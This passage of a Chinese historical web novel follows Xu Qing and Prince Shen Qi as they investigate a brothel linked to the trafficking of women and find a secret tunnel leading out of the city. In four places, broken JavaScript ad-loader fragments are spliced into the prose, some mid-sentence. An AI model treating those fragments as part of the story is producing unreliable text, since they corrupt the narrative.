字迹因为泡了水,多少模糊了些,但还好仍看得清。且看这字迹有些潦草,该是快速运笔所致。 沈祁就浮在徐清旁边,也看到了徐清手上那张字条。 徐清面色凝重地用手指搓了搓字条,字条弹指间变得破碎。她直接将纸条浸入水中,放手,任那字迹已看不清的字条漂走。 她抬头又望了眼灯火通明的缘尘楼,和沈祁对视一眼。 “先上岸吧。”沈祁说。 徐清点点头。 河的另一岸是百姓居住的区域,时辰已不早了,百姓们大多已入睡,这条街倒是寂静些。 二人上了岸,浑身湿漉漉的。 此刻徐清边拧着沾了水而变得厚重的裙摆,边回想着那雅间里二人说的话和那姑娘字条上潦草的“救救我”。 姑娘,江南,醉烟楼,粮草,贼寇,赵家,怀王,静王…… 一连串的词汇串起来,徐清似乎抓住了什么。 她猛然抬头,“王爷……” 话到嘴边,她又想起她刚刚正偷听着,眼前这人一身夜行衣忽然出现,还搞出了那么大的动静,结果让他们俩一起奔逃。 沈祁也正拧着湿哒哒的衣摆,听到徐清喊他,抬头应:“嗯?” 徐清手中还握着湿着的衣裙,她直勾勾地盯着沈祁,“王爷怎么这身打扮去缘尘楼?” 沈祁一愣,随后放下衣摆,双手环在胸前,直接忽略徐清问的‘这身打扮’。 “怎么?还没过门呢,就管起我来了?”顿了顿,又笑着微微弯下腰靠近徐清,“本王还没问徐四姑娘呢,四姑娘怎么这身打扮在缘尘楼?” 徐清不避不让,微微抬眉,“啊,王爷提醒我了。” 下一刻她解开身上的衣袍,沈祁吓了一跳,还没来得及反应就看见她里头还有身夜行衣,现下也湿了,手上那件缘尘楼姑娘的艳丽衣裙被她抛回水中。 不知是有意还是无意,那衣裙勾在了岸边。 沈祁看见她里头还有衣服,松了口气。 “四姑娘下回还是别在别的男子面前这样了。” 还未等徐清回话,他又自顾自的地回答了前头徐清的问题。 “我是来查个东西,然后找到了个地方,结果被人发现了,跑着跑着就撞上你了。” 他说着像是想到什么,又笑眯眯地继续道,“不过看样子你当时在偷听?我可不是故意让你被发现的。” 徐清无言,目光平静,但细瞧又瞧得出些谴责。 沈祁与她对视片刻,像是认输般,“行吧,是我的错,不过徐四姑娘是不是也应该告诉我,四姑娘为何会出现在这里?” 徐清在沈祁说后半句话时忽然就感觉到了一股压迫感。 她看着沈祁,脑海中思索了一番后,才开口。 “小女一友人前些日子丢了,她的婢女从江南追上小女并告诉小女,友人乃是被人所俘,她追赶上去只听得要将友人卖入什么缘尘楼,小女忧心着,入京后偶然听说这京城最大的销金库便是这缘尘楼,小女便想来瞧瞧。” 徐清保险起见,还是略略改了些事实,话说得半真半假,掩去这其中自己的势力。 而沈祁听了她的话,没表示信,也没表示不信,他似笑非笑地看着徐清,“是吗?那徐四姑娘发现什么了吗?” “我……阿切……”徐清刚开了口,便被夜晚的凉风吹得哆嗦了一下,还打了个喷嚏。 沈祁看着她,皱了皱眉。 “算了,你先跟我回府换身衣服再说吧。” 还没等徐清回话,他如刚刚在缘尘楼跳窗时般,一手牵住她,一手揽住她的腰身,轻轻一跃,上了屋顶。 徐清懵了一瞬,她本想拒绝的啊。 静王府。 沈瑜早就已经回到自己的府邸,此时的静王府安安静静的。 沈祁唤人准备好热水,让徐清先去沐浴。 又让下人取了一套干净的衣裙来,待徐清沐浴完换上干净衣裙后,沈祁已经在等着了。 徐清在下人的引路下来到一间屋子,看到沈祁后,她垂首弯腰行了一礼。 沈祁挥了挥手,“把姜汤先喝了再说。” 徐清上前端起姜汤,不会很烫,该是已经放了一会儿,就是姜感觉放的很多,味有点冲。 她不自觉地皱了皱鼻子,而后微微屏住呼吸,抬手将姜汤一饮而尽。 喝完后,她放下碗,眉目间还有些郁色。 一抬眼就看见沈祁一脸好笑地看着她。 “苦吗?” 徐清一愣。 “没见过你这样,喝个姜汤跟喝药似的。” 徐清嘴张了张,又闭上,忽略了他的调侃,落座在沈祁对面,直接开门见山。 “缘尘楼背后是刘家吗?” 沈祁闻言面上神色一凝,他没正面回答徐清的问题,而是反问她:“怎么了?” 徐清我不在意他的谨慎,“或许,这缘尘楼背后,不止刘家?” “我方才,在那缘尘楼时,也是先不小心穿进了一间屋子,差点被发现了,我便在那人走后慌忙离开,后来误打误撞又偷听到了那雅间里二人的谈话。” “我听到了他们说有一批姑娘是从江南来的,说醉烟楼被抄了,破坏了他们在江南一带正在做的事,还是因为这件事,赵家如今得夹着尾巴生存……” 徐清说完观察了一下沈祁的表情,斟酌着又道,“我知道王爷担心我欺骗您,也担心我知道得太多不利于您,但我真的只为了救出友人,且我力薄,若王爷肯出手相助,臣女感激不尽。” 沈祁瞧着她,像真的在思考她的话有几分真实性。 毕竟,如今他与徐家是敌是友还未可知。 他思索放空了一瞬,而后回神,看着徐清笑了笑,“本王今夜去缘尘楼是为了调查一件圣上交代下来的事,本王不便多说,但与你所说的事似乎八竿子打不着……” 徐清闻言,有些紧张。 看来沈祁不打算帮她了。 如今她大概摸清了缘尘楼的情况,也知道如今许钰不在那地下一层,便是还在郊外。 所以若没有沈祁相助,她也能救出许钰,最多受点伤。 但她在缘尘楼时听见的是他们长期做着这种拐卖女子的勾当。 她若想救出所有女子,破坏掉他们的交易网,有沈祁的帮助,就等于有了皇权的帮助,可以更加顺利。 但沈祁若不助她,她只好想办法把事情闹大,让朝廷不得不出手。 不过,京城各世家错综复杂的利益网也是个棘手的事情,得再观望一下。 徐清在沈祁沉默的那几秒里快速思考完了,于是在沈祁准备开口说出拒绝的时候,她先开口了。 “既然王爷为难,那臣女也不好强求。夜深了,臣女就先告辞了。” 沈祁闻言愣了一下,话卡在了嘴边。 看着徐清起身行了一礼准备离开,他赶紧抬手拦了一下。 对上徐清疑惑的目光,他笑了下,“你急什么?本王又没说不帮你,只是若如你所说,那此事牵扯太多,有些棘手,需得给我些时间。” 徐清回到兰府时,歌瑾吓了一跳。 “小姐,你的衣服……” 徐清顺着她的目光看了眼自己身上的衣裳,无言了一下。 “说来话长,下次再同你说。” 歌瑾愣愣地点了下头。 重新换了身衣裳后,歌瑾站在她身后,汇报新得到的消息。 “许多地方在事情闹大后,把闹事的人关了起来,将事情压了下去。也有些地方十分重视,已经开始调查了。” “不过李庄主那边似乎也得了消息,出手让人把事情继续闹大,他们会武功,官府的人抓不住他们。” 徐清边听着,点了点头,边取出了之前宋阳给他的木盒。 里头放着那把折扇。 徐清打开,指尖在折扇上摩挲着。 闻言,点了点头,又沉吟了一会儿,“爹爹那边的堤坝工程怎么样了?” “还在进行着。”歌瑾应道,“不过夫人知道了许钰姑娘失踪的事,已经派人出去找了。” 徐清走到案前,展开扇面,提笔沾墨,在空白的扇面上作画。 “嗯。”徐清应了一声。 室内一时安静,歌瑾站在徐清身旁看着她作画。 须臾,一幅墨竹图出现在扇面上。 她放下笔,附身对着扇面轻轻吹了口气,好让墨水快点干。 “传信给三哥,”徐清边说着,边拿着折扇轻轻扇动, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “就说,有姑娘在江南失踪了,让他想办法把事情闹大些。” “最好是,能让一直盯着江南的朝廷这边,听到消息。” 歌瑾得了令,应了声“是”,就退出了房间。 又过了好一会儿,徐清抬手轻轻碰了下扇面上的墨迹,确定干了后,她将折扇合起来,放回了木盒中。 而后,在寂静的夜色里出声。 “窈音。” 下一瞬,一个人影出现在窗前。 “小姐。” 徐清将木盒递出去,“将这个送到静王府。” 窈音附身抬手接过木盒,下一瞬消失在夜色中。 徐清走后,本就寂静的静王府更加安静。 沈祁在桌案前,执笔在宣纸上写着些什么。 宣纸中心明晃晃的标着“缘尘楼”三个大字,由此发散,郝然标着几个事件。 陈锌昀缘尘楼杀人案。 江南女失踪案。 江南醉烟楼:据点。 刘家,叶家。 纸的右下角,写着“救救我”三字,是先前楼中那女子塞给徐清的字条上的字。 “徐清……”沈祁停笔,喃喃出声。 笔尖因承不住厚重的墨而落下,恰恰落在那角落里的三字。 一刹那,“救救我”三字被墨水覆盖住。 沈祁盯着那处出神。 门外有人敲了下门,沈祁回神。 “进来。” 姜沿一身劲装,推门而入。 他手上拿着个木盒,恰是徐清先前让窈音送出去的。 “主子。”姜沿行了一礼。 随后他将木盒递给沈祁。 沈祁看着熟悉的木盒,眉梢一扬,而后快速打开。 入目是一柄折扇,沈祁取出,缓缓打开,一幅竹墨图在眼前呈现。 沈祁怔了一下,而后笑开。 这把扇子他一开始还回去就是向徐清抛出橄榄枝,徐清如今画了幅竹墨图,又将扇子送到他这儿,便是接受了他的橄榄枝。 沈祁收了扇子,抬头对姜沿道:“你明儿悄悄去兰府传个信给徐家四姑娘。” “就说,明日亥时,缘尘楼见。” 第二日,徐清收到了那些立了案子的地方官有的弃了案子,有的还在搜查证据的消息。 昨夜她抛在河中的那条不知是缘尘楼里哪位姑娘的衣裙也被人发现,在民间引起议论。甚至有人报了官,说有姑娘跳楼,如今大理寺派了人在河中打捞,却没有派人去查缘尘楼。 而陈家的公子陈锌昀,也就是前些日子在缘尘楼错手杀人的那位,昨儿夜里不知不觉地死在了家中。 一时间,缘尘楼这处成为众矢之的,吸引来了不少目光。 “我们有找到证据吗?”徐清听了歌瑾的话,皱了皱眉问道。 歌瑾摇头,“未有,先前是松枝得了令,在江南查的过程中无意听到的,松枝猜测许姑娘也许也是被人拐了,卖到了京城。” “猜测?意思是,许钰也不一定是被卖到京城?”徐清心中一惊,开口嗓音沉沉,带着压迫感,“为何不早说清楚。” 歌瑾慌了一瞬,“这是松枝前些日子又送信来说的,且他也说了,已经有些线索了,许姑娘很有可能就在京城。” 徐清深深吸了口气,像是被气到了,“很有可能是多大可能?” 歌瑾低下头,不敢再说话。 室内安静了会儿,徐清平复了一下情绪又开口道:“让松枝把许钰失踪的线索交给居源和其他人,让他去查叶家拐卖案的证据。” 歌瑾赶忙应了声“是”就匆匆退出去。 歌瑾出去没多久,窈音便进了房间,白日里她换上了同歌瑾一般的浅色系衣裳。 “小姐,静王府传信说,今夜亥时,缘尘楼见。” 徐清听了沉吟了一会儿。 如今虽还无法确定许钰到底如何丢的,如今又在何处。 但这叶家在四处拐女是板上钉钉的事实,还有那刘家,亦不是什么省油的灯,她确实还需要沈祁的力量。 她应了一声,表示知晓了。 而后她忽的又想起方才歌瑾汇报时说的陈家公子离奇死亡于自家的事儿,或许是直觉,徐清总觉得这件事也可以是一个切入点寻求叶刘两家的罪证。 她转头看向窈音,声音微微压低地吩咐道,“窈音,你去查查陈家和那个陈家公子。” “是。” 10. 十 缘尘女(叁) “陈锌昀死了。” 沈瑜站在静王府的庭院的一座小桥上,悠哉地将鱼食扔入浅浅的溪流中。 “我先前便说过,缘尘楼是三皇兄的地盘,他必不会袖手旁观。”沈祁站在沈瑜身旁,也抓了把鱼食扔入溪中。 而后,他看着溪中鱼儿摆尾游来,开始抢食,又开口:“不过,你觉得,陈锌昀真的死了吗?” 沈瑜笑笑,“他人死没死现下并不重要,不是吗?” 沈祁听了,也笑,没否认。 二人安静了一会儿,沈瑜将碗里的最后一点鱼食丢入溪中。 “说真的,你记得我昨儿跟你说的,抽个时间去见见母妃。” 沈祁拍了拍手,将手中的鱼食屑拍掉。 “知道了,别像个老婆子一样念念叨叨成吗。” 白日里,徐清徐妗二姊妹洗漱完便到前厅同兰大人兰夫人及兰家兄妹一同用早膳,而后兰夫人和兰愿宜带着二人走了一遍兰家府邸。 午膳后,兰夫人带着三人上街去成衣铺量身做衣裳。 马车上,徐清瞧着心不在焉的徐妗,默了默。 马车外,百姓的交谈是不是透过被风翻起的车帘而进入车厢。 “这陈锌昀横行霸道,死不足惜。” 安静的车厢里,兰愿宜突然开口。 徐清徐妗一惊,兰夫人也吓了一跳,赶忙伸手拍了下女儿放在腿上的手。 “莫要胡说。” 兰愿宜撇了撇嘴,似是有些无所谓。 徐清瞧了瞧兰愿宜,又瞧了瞧兰夫人,随后又用一根手指微微挑开车帘,看了眼街道上的热闹,一抬眼恰是缘尘楼的大门。 白日的缘尘楼不如夜里热闹,徐清垂下眼帘,收回手。 刚一转头就见到了徐妗望着车帘的目光,想到刚刚看到的缘尘楼,徐清眸光一顿。 下了车,兰夫人让店家为三人量了身,又让三人自己去挑裁衣的布料。 徐清走到兰愿宜身边,抬手摸了摸面前的这块碧绿色布料,开口语气有些漫不经心之感。 “这京城确实繁华热闹,我与阿姊初来乍到,还得愿宜妹妹多与我们讲讲这京城的事儿,免得我与阿姊不懂规矩,不小心冲撞了哪家大人。” 兰愿宜听了,想了想,赞同地点点头,嘴上也应下,“自然,你若有什么尽管问我便是。” 徐清见她应下,便似疑惑地问道:“你方才说的,那个陈锌昀,是哪家公子吗?我听着街上百姓都在说他死了?” 兰愿宜听到这个名字,面上的表情一下子变得鄙夷起来,“他是……” 话说一半忽然她又顿住,有些小心翼翼地看了眼周围,徐清面上带着疑惑地瞧着她的动作,也转头看了看周围。 刚把头转回来,兰愿宜的脸便在眼前忽的放大,吓了徐清一跳。 徐清不自觉地往后仰了仰,下一刻就听见兰愿宜特意压低的嗓音。 她往后的动作顿了顿,又重新靠近兰愿宜,两颗脑袋紧紧挨在一起。 “陈锌昀是当朝尚书令的公子,平日里仗着他爹在京城横行霸道,欺负百姓。” 说完,眼睛又滴溜溜地往四周转了转,声音压得更低,“前些日子这陈锌昀在缘尘楼又与人发生纠纷,失手将人……” 兰愿宜不敢说出那个字,只微微抬手比了个抹脖的动作。 徐清略略夸张地作出震惊的表情,随后蹙着眉道:“这事儿没人管吗?” 兰愿宜微微直起身子,“不知道呢,不过他昨夜突然就在自个儿家里没了,也不知是真没假没了,最好是真没了……” 前半句还在回复徐清的话,后半句从“也不知真没假没”开始变成了自己的低声喃喃,像是自言自语。 徐清还想问点什么,嘴还没来得及张开,就被兰愿宜打断。 只见她兴冲冲地拉住徐清的手,走到另一排布料处,嘴里说着“不讲他了,其他事我往后慢慢同你说,这排的料子好看,我们来这排挑!” 徐清闻言,便闭上嘴,将问题吞了回去,随着兰愿宜的动作来到另一处。 抬手触上布料那瞬,徐清突然想到沈祁昨夜对她说的话。 ——“本王今夜去缘尘楼是为了调查一件圣上交代下来的事,本王不便多说,但与 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你所说的事似乎八竿子打不着……” 八竿子打不着的事啊…… 徐清想到什么,垂眸勾唇笑了笑。 最后,徐清挑了匹碧绿色的料子,徐妗挑了匹天蓝色的料子,兰愿宜挑了匹嫩黄色的料子。 一行人又乘着马车回到兰家府邸,车外的议论仍旧热烈,皆围绕着那缘尘楼。 回到府邸,兰愿宜陪着徐家姊妹来到给她们安排的院子后便离开。 徐清转头瞧了眼徐妗,“阿姐,我先回屋了。” 徐妗自打那夜过后便一直奇奇怪怪的,心神像是被什么东西牵制住了,她不说,徐清也不问。 徐清说完,也不等徐妗回应便走向自己的屋子。 手刚推开屋门时,忽然身后传来徐妗的声音。 “清清。” 徐清动作顿住,转身笑着看向不远处的姐姐,“怎么了?阿姐。” 徐妗面上有些欲言又止之色,最后她只说了句:“别做危险的事情。” 徐清怔了一下,随后笑着回道:“知道了。” 徐妗面上带着担忧地点点头,刚想让徐清回屋吧,就听到徐清带着意味声长语气的声音。 “阿姐也是。” “别做…危险的事情。” 徐妗愣住,与徐清对上视线。 徐清又笑了笑,进了屋子。 晚些用完了晚膳后,徐清在自己屋里一边等着到沈祁说的时间,一边思考接下来该如何做。 戌时时,徐清换好了夜行衣。 也是这时,消失了许久的栖枝出现了。 “京城势力盘根错杂,属下无能,花费了太多时间。” 徐清瞧着她,“无事,你没受伤吧?” 栖枝摇头,又从怀中拿出一叠纸。 “这些是京城所有官员的名单,我只查到了他们之间的部分利益交换,现下还需再梳理一番。” 徐清瞥了眼栖枝手中的那叠纸,“好,这几日你便细细梳理一番,其他的利益链让他们在保证自身安全的情况下继续查。” 栖枝应下,带着那叠纸又退出了屋内。 11. 十一 缘尘女(肆) 临出门前,徐清决定还是像昨夜一般,拿簪子绾了个极简易且不会影响她行动的发式,以免等会儿要是出了什么意外,她还可以挑几缕发丝下来扮成青楼女子。 护城河旁,徐清和沈祁一人一袭夜行衣站在昨夜的位置。 这个时间,同昨夜一般,这一侧的百姓已经熄灯而眠了。 河对面,灯火通明。 徐清瞥了眼寂静的河面。 过了一天了,河里那件昨夜丢下去的衣裳已经被大理寺的人打捞了上来。 “我们先去找昨天那个姑娘,看看能不能问到些有用的东西。” 沈祁在夜色里指了指昨夜他们一同跳下的那扇窗。 此时,那扇窗亮着光,微微敞着。 徐清点点头,刚准备跳过去就被沈祁拽住。 她有些茫然地回头,见沈祁脸色有些难言。 “你干嘛?” 徐清面色无辜地指了指河水,“我跳下去,游过去,再爬上去啊。” 沈祁嘴微微张开。 空气中静默了一会儿,沈祁下巴微微一抬,“划过去。” 徐清顺着他下巴指的方向看下去,沉默了。 那是一个同竹筏很像的东西,但又比竹筏更加简陋。严格意义上来说,那与一块木板无甚区别。 徐清甚至怀疑她一人上去可能就会翻,更别说两个人一起上去了。 复杂难言的表情从沈祁脸上换到了徐清的脸上,她指着那块不小的木板,“用这个?” 见沈祁点了头,她叹了口气,接受了。 虽然这木板看起来不怎么样,但竟然真乘住了两人。 不过也幸好这河面平静,不然这木板只能带着他们二人漂流去了。 须臾,二人靠在缘尘楼的外墙上。 徐清扶住墙,刚准备使力向上爬,就被沈祁揽住腰身。 在她还没反应过来时,就见沈祁脚下一蹬,另一只手扒拉了几下,随后就带她稳稳地落在了昨夜那姑娘的屋子里。 那姑娘正在镜子前梳妆,面上是麻木的表情,细看又有些惊惧。 忽然听到窗那边的动静,她抬眼看去,吓了一跳。 徐清见了她的表情,赶忙上前,抬手捂住了那姑娘差点脱口的惊呼。 “嘘,”徐清微微蹙眉,警告道:“别出声。” 那姑娘看清了来人,在徐清的手掌下微微点了点头。 在徐清手放下时,她立刻压低声音问二人,“你们是来救我的吗?” 虽然声音是压低了,但语气里难掩激动。 徐清和沈祁对视一眼。 “是,我们是来救你的。”徐清肯定地说道。 但下一刻,她在那姑娘期待又激动的目光中继续说道:“但不是今夜。” 闻言,那姑娘眼中的光瞬间黯淡。 徐清见她的神色,微微一哽,有点心酸。 “你别怕,我们也肯定是会救你出去,不止你,还有许多和你一样被抓来的姑娘,我们都会救。” 那姑娘闻言,眼中又亮起了一点光,随后又黯淡。 “可今夜,我就要开始接客了。” 徐清和沈祁二人闻言,沉默下来。 若是林业就将这姑娘救出去,怕是会打草惊蛇,打乱他们二人来之前决定的计划。 在一片沉默中,那姑娘突然笑了一下。 “罢了,若是能把那些恶人都绳之以法,往后再也不会有姑娘像我们这些被抓来的女子一般,我来这世间一遭,也算有些价值,只是……” 徐清见她话未说尽,追问道:“只是什么?” 那姑娘苦笑了声,“只是我那未婚夫婿找不见我定然急坏了,如今我身陷囹圄,注定与他有缘无分了。” 徐清蹙起眉,张了张嘴想说些什么,但那姑娘没有给她开口的机会。 “不说这些无意义的了,时间不多了,等会儿就有人来了,你们若有什么问题就快问吧,我定如实相告。” 徐清看着她,静默了。 沈祁从徐清斜后方往前走了一步,与徐清并肩站在了一起。 “姑娘原先是哪儿的人?” 开口时,抬手极轻地拍了拍徐清的后背,徐清怔了一下,转头看向他。 “庐州。” 那姑娘没再看徐清沈祁二人,只继续将脸上的妆化完,自然也没瞧见沈祁安抚徐清的动作。 “你是如何来到京城的?” “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我是被人迷晕的,醒来后就在一个黑漆漆的屋子中,关了许久,后来又被蒙上眼睛,堵上嘴,再看得见后就到京城了。” 徐清此时已经缓过了那股心酸的心情,听了姑娘的话,她赶紧追问道:“黑漆漆的屋子?只有你一人吗?” 那姑娘摇了摇头,“还有许多姑娘同我一起在那个屋子里,还有些姑娘不知怎么做到的,竟挣开了绑着我们的绳子试图逃出去。” “那她们逃出去了吗?” 那姑娘思索了一下,像是在认真的回忆,“我不清楚,她们在挣开绳子后也帮我们其他人解开了绳子,这些女子好像会一些武功,她们让我们其他人先别动,她们先出去探路,但一阵动静后就又安静了,那些姑娘也没再回来,而我们这些没走出那间屋子的,又被重新绑了起来。” “那你可有看清给你们绑绳子的人的脸?” 那姑娘又是一摇头,“屋子里太暗了,我实在看不清,加上害怕……就更不敢看了。” 顿了顿,那姑娘又补充道:“不过绑我们的人和把我们送到京城来的似乎不是同一批人。” 徐清和沈祁对视一眼,心中各自都有了几分计较。 那姑娘好似又想起什么,‘啊’了一声,徐清和沈祁听到声音同时看了过去。 “我记起来,我们入京前,在某一处停了下来,好像又来了一些人,他们交谈了一会儿,但我实在听不清他们说了什么,只是在他们说话声音停下时,又听见马蹄的声音往另一个方向去了。” 这段话刚说完,门恰好被敲响,三人皆是一惊。 “收拾好了没?” 语气有些不耐,又有些青楼女子的媚意,是这缘尘楼的老鸨。 那姑娘慌忙起身,边打开柜子边应“好了,这就来。” 随后侧开身,着急地小声对沈祁徐清二人道:“二位先躲一躲,待我离开后二位再出来。” 徐清和沈祁都没犹豫,立刻一同挤进了那狭小的柜子里。 那姑娘还谨慎地用衣服遮住二人,门外又响起了不耐的催促。 那姑娘赶紧关上柜门。 “来了。” 徐清和沈祁二人的眼前瞬间黑暗,寂静中唯彼此的呼吸声可闻。 12. 十二 缘尘女(伍) 方才情急之下躲进来时,二人是毫不犹豫。此时在密闭空间里,却难掩不自在。 沈祁试图动一下,直接被徐清用气音呵斥住。 “别动。” 沈祁不再动。 须臾,柜子外彻底安静下来徐清微微倾身,将柜门推开一条缝,确保了屋内没人后,猛地将柜门打开。 二人出来后猛吸一口气。 徐清瞧了眼紧闭的房门,脑子里快速思考着有没有办法能救下这些今夜得接客了的姑娘。 余光中忽的瞥见沈祁走到窗边,而后食指和拇指环圈,置于唇间,发出一声哨声。 徐清吓了一跳,赶紧又看向门口,生怕有人听见声音闯进来。 等徐清确保门外不会有人闯进来后回头看向沈祁,沈祁也从窗边走了过来。 “你干什么?”徐清瞥了眼他身后已经关上的窗,问道。 “不是要救这姑娘?”沈祁垂下眼看着她。 徐清扬了扬眉梢。 沈祁竟看穿了她方才在那片沉默中做下的决定。 既然沈祁解决了这个问题,那她就不用操心了。 现下当操心,计划打乱了,得再那些人没反应过来时将他们一网打尽。 她点了点头表示知道了,然后走到刚刚那个柜子前,随手又拿了一件艳丽的衣裙,而后回头,上下打量了番沈祁。 虽说沈祁身上的也算夜行衣,不过衣袖边,衣领上,还有腰封处和衣摆上,都有金丝勾勒的花纹。 若是在夜色里,玄色衣袍确实不易让人发现。但若是在明亮处,这一身,也像个贵公子。 加上他束起的高马尾,还别了根玉簪,贵气中还有几分少年气。 徐清满意地点点头,又低头瞧了瞧身上普普通通的夜行衣,撇了撇嘴,将手上那件艳丽衣裙穿上。 穿戴好后,又在沈祁意味不明的目光中走向梳妆台前。 端详了下镜中的脸,最后只拿起了口脂涂了点,又随手拿起几个花俏夸张的发簪簪在发间,又将鬓边几缕发勾了下来,最后看着镜中的自己满意地点点头。 沈祁瞧着她所有动作,轻笑了一声。 徐清抬眸看向他。 不知是这幅模样的缘故还是其他,这一抬眸,沈祁还真感受到了几分眼有秋波。 “等会你记得多护着我的脸,不然以后没脸见人了。”徐清在推开门前嘱咐他。 还未等沈祁回应,她就推开了门。沈祁赶紧上前两步,一手搂住她的腰。 徐清也没客气,反正圣上赐了婚,除非他们二人有一人先驾鹤西去,否则做夫妻这件事是没有回旋的余地了。 她脸顺势埋在沈祁的胸口处,感受到沈祁的身子似乎僵了一下。 下一瞬就感受到滚烫的气息喷在耳根,有些痒意,让她不自觉地瑟缩了一下。 “你动作这么快做什么?”语气里颇有些咬牙切齿的味道。 徐清不解,“时间不等人啊。” “干嘛非要用这种方法?你要脸我不要?” 徐清轻轻笑了一下,“那你想用什么方法?” “就如昨夜一般。”沈祁本想说可以偷偷潜进去,后来又觉得‘偷偷’二字不太文雅。 “那你既已有对策,方才你为何不阻止我?” 徐清不敢抬头,外人眼中看见的便是一贵公子同青楼女调情的画面。 二人的步子继续往前走,耳边的声音停了一下,再响起时带着些揶揄。 “我以为你是想打扮一下,我不好打断你。” 徐清闻言,无言地扯了扯唇角。 不过说话间,二人已经来到了一楼。 来到舞台边,徐清本想以迅雷不及掩耳之势快速蹿到舞台后面的。 但身体才微微璇身,头刚想抬起,就被沈祁一手搂着腰,一手摁着头。 “别动,有人。” 徐清一下就明白了,大概是昨天那群追他们的人。 “跟我走。”沈祁压低了声音。 徐清头低着,被迫跟着他的步伐。 因为低着头,她看不清路,只觉得走得弯弯绕绕,然后感觉到沈祁停了下来,打开了一扇门。 沈祁带着徐清进了房间后放开她。 徐清一看清房间的布局愣神了一下,又回头看了下他们刚刚进来的门。 这门前也挂了许多艳丽的衣裙,层层叠叠地完全遮住了门。 这就是昨天她从那个狗洞进来的房间,原来这有门啊! 徐清被气的无言了一瞬。 沈祁见她盯着门出神,刚想问怎么了,就见她回过神,快步走到床前,掀开床幔,然后冲他招了招手。 沈祁瞧见了,走上去,就见她又掀开床褥,然后转头瞧他,“帮忙抬一下。” 沈祁闻言眯了眯眼,瞧了徐清好一会儿。 他是知道这里有个通道的,他昨儿来这就发现了,本来他昨夜就打算下去的,但突然有人进来,被发现了,他只得先走,后来又遇到了她。 不过她竟然也知道这里。 他抬手把那床板抬了起来,一条通道出现在眼前。 徐清直接抬步就顺着石阶走了下去,沈祁又一次为她的胆量惊了一下。 通道里是有烛火的,不暗,看得清路,但只容许一人走。 石阶到头后又走过一段路,忽然徐清停了下来。 后头的沈祁也停住,“怎么了?” 徐清没应他,而是试探地伸出手,是虚空的。 “有两条路。” 沈祁抬眼看去,一条路烛火摇曳,另一条隐在黑暗里。 且没有烛火的这条路看起来也不像路。 只因那道实在窄小,倒像是石土的一道比较大的裂缝罢了,任是谁看了都不会觉得这也是一条道。 在二人思索该走哪条时,烛火通明的那条道突然有些动静。 徐清迅速侧身躲进了那条没有一点光的道,沈祁紧随其后。 二人等了一会儿,有一个略肥的身影出现,身上的衣袍可以看出这人非富即贵。 沈祁瞧着那人出现又消失的身影,眯了眯眼。 那是钟家人,钟皓。 果然,那宫女和那废物那边的人,也一样废物。 许是感觉到了沈祁的情绪,徐清用手肘碰了碰他。 “认识?” 沈祁收回目光,“钟家人。” 徐清回忆了一下先前栖枝带回的消息。 钟家,大概就是扶持圣上登基,然后平步青云的那个钟家。 “对我们有用吗?” 沈祁听到‘我们’二字怔了一下,微微垂首,对上徐清清凌凌的眸子。 愣了一下快速回神,略有些不自在地移开目光。 “没什么用,我们走这条道。” 徐清闻言,没再多纠结那钟皓,应了一声,继续往里走。 二人侧着身子艰难地走了一会儿,眼前的道路豁然开阔了,道两旁也点上了烛火,地道里又是一片清晰。 二人停住脚步,观察了一下。 沈祁蹲下身随手捡了块石头扔过去,一片寂静。 “还是小心些,可能有机关。” 徐清点点头。 二人小心翼翼地往前走,走了好一会儿,才又看到一个石阶。 二人对视一眼,沈祁拽住准备抬脚走上去的徐清。 “我走前面。” 徐清停住,看着沈祁的背影。 沉吟了一下,随后跟上。 石阶不长,很快就走了出来。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这里的出口是在郊外的一个林间竹亭下。 这竹亭是用竹子搭建的一间极简易的亭子,下方是镂空的。 所以人要在竹亭里纳凉休息,需得通过竹子搭建的竹梯走上去。 故而这被一块木板和泥土遮盖的洞口难以被人发现。 二人从洞口里出来,拍了拍身上的灰。 徐清打量了一下四周,“到城外了。” 这个通道可以从城内直通城外,这说明有人可以不过城门便可在城内外自由通行,且不被城关处记录。 这也意味着,若有人在做什么不利于大梁的事,也很难抓住他们。 沈祁显然也想到了这点,脸色并不好看。 “这缘尘楼是刘家的吗?” 徐清把先前沈祁未回答的那个问题又问了一遍。 徐清此时已经确定这缘尘楼是刘家的产业了,但她想到昨夜沈祁没有回答她,她便又想问一遍。 毕竟合作嘛,自然是要坦诚一些的。 许是二人已达成了合作,这会儿沈祁倒没有半点犹豫。 “是,也不是。” 还未等徐清提出疑惑,又听到他说:“这缘尘楼是叶刘两家的地盘。” 徐清点点头。 她刚来京城,先前在江南时也只打探一些皇家的事儿以防突如其来的变故,栖枝也还在整理京城的世家根系,如今的她对京城还是不甚熟悉的。 二人走出那竹亭,往四周望了望,林间寂静,周围无人。 二人稍稍放松。 “这些人还蛮谨慎的。” 徐清打量四周,郊外密林森森,不认路的一不留神便会迷失。 沈祁站在她身旁,也在打量着四周,闻言忽然回头看了眼那个地道口。 “是啊,我们这一来,他们很快就会知道了。” 徐清一愣,顺着他的目光看过去,眉眼一凛。 看来要速战速决。 要快点找到他们的窝点,也得在他们转移前引导官府的人抓住他们。 “从这到他们的窝点肯定还有好长一段距离。”徐清出声,心中有些焦灼起来。 沈祁忽的转头瞥她,点头道:“嗯,还挺熟悉的。” 徐清听他说熟悉,心中一喜,以为他知道路,“什么?你知道他们在哪?” 转头就见沈祁脸上意味不明的笑,“我觉得你应该更熟悉才是。” 徐清瞧着他的笑一怔,忽的想起在江南时她在那林子里耍了他一通。 这也是沈祁后来后知后觉才意识到,这徐四留他一人在林中淋雨,不是为了让他知道什么,更不是留了什么给他,单纯是为了戏耍他一通。 也是在那时他反应过来,徐清是对那句“守寡”之言恼怒。 那时他方知徐家对这两门亲事是有多不喜。 徐清尴尬了一瞬,却也福至灵心。 在昏暗的月光下,她再次打量四周,然后朝最暗处走去。 沈祁瞧着她的背影扬了扬眉梢,随即跟上。 徐清选的路十分黑,几乎是伸手不见五指的程度了。 沈祁怕有危险,便走得离徐清极近,以防有突如其来的偷袭他可以快速拽开徐清。 